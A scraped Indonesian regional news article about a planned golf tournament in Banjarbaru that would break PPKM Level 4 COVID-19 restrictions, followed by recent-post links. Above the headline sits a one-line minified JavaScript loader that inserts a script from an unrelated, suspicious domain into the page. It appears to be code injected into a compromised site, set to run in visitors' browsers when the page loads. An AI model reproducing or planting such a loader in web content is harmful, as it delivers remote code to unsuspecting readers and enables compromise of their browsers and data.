(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DUH. Ada Rencana Gelar Turnamen Golf di Banjarbaru saat PPKM Level 4


KANALKALIMANTAN.COM, BANJARBARU – Tren kenaikan kasus Covid-19 di Kota Banjarbaru membuat penerapan PPKM level 4 diperpanjang hingga 23 Agustus mendatang. Aturan yang ditegakkan dalam fase pembatasan mobilitas masyarakat di kota berjuluk Idaman ini sudah seharusnya menjadi atensi bagi seluruh pihak.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Mirisnya masih saja ada yang tak faham ihwal kondisi tersebut. Sepetinya kabar terbaru tentang adanya pihak yang berencana menyelenggarakan kegiatan olahraga golf di lapangan Padang Golf Swargaloka, Landasan Ulin, Kota Banjarbaru.

 

 

Baca juga: Jalan di Desa Humbang Raya Akhirnya Mulus, Libatkan Warga Kerjakan Rabat Beton

Menurut informasi yang diterima Kanalkalimantan.com, rencana kegiatan turnamen golf itu dilaksanakan dalam rangka memperingati HUT ke-71 Kabupaten Kotabaru, sekaligus memeriahkan HUT ke-76 Kemerdekaan Republik Indonesia.

Adapun pelaksanaan kegiatan golf itu dijadwalkan berlangsung selama dua hari yakni dari tanggal 21-22 Agustus mendatang.

Dalam isi surat permohonan pihak panitia penyelenggara acara yang diajukan kepada pihak pengelola Padang Golf Swargaloka, dilaporkan bahwa sedikitnya ada 112 peserta atau pegolf yang akan berpartisipasi mengikuti kegiatan ini.

Meskipun pihak panitia menekankan akan menyesuaikan dengan protokol Covid-19 saat kegiatan nanti, tentunya rencana pelaksanaan kegiatan olahraga ini sangat bertolak belakang dengan aturan PPKM level 4 yang sudang berlaku di Kota Banjarbaru.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Ya, sebagaimana diketahui dalam pelaksanaan PPKM Level 4, seluruh kegiatan olahraga, seni/budaya, maupun sosial kemasyarakatan harus ditiadakan sementara waktu.

Aturan ini telah ditetapkan oleh Pemerintah Kota (Pemko) Banjarbaru bersama seluruh unsur Forkopimda, baik itu Polri, TNI, maupun DPRD. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

9 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

9 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

10 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

11 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.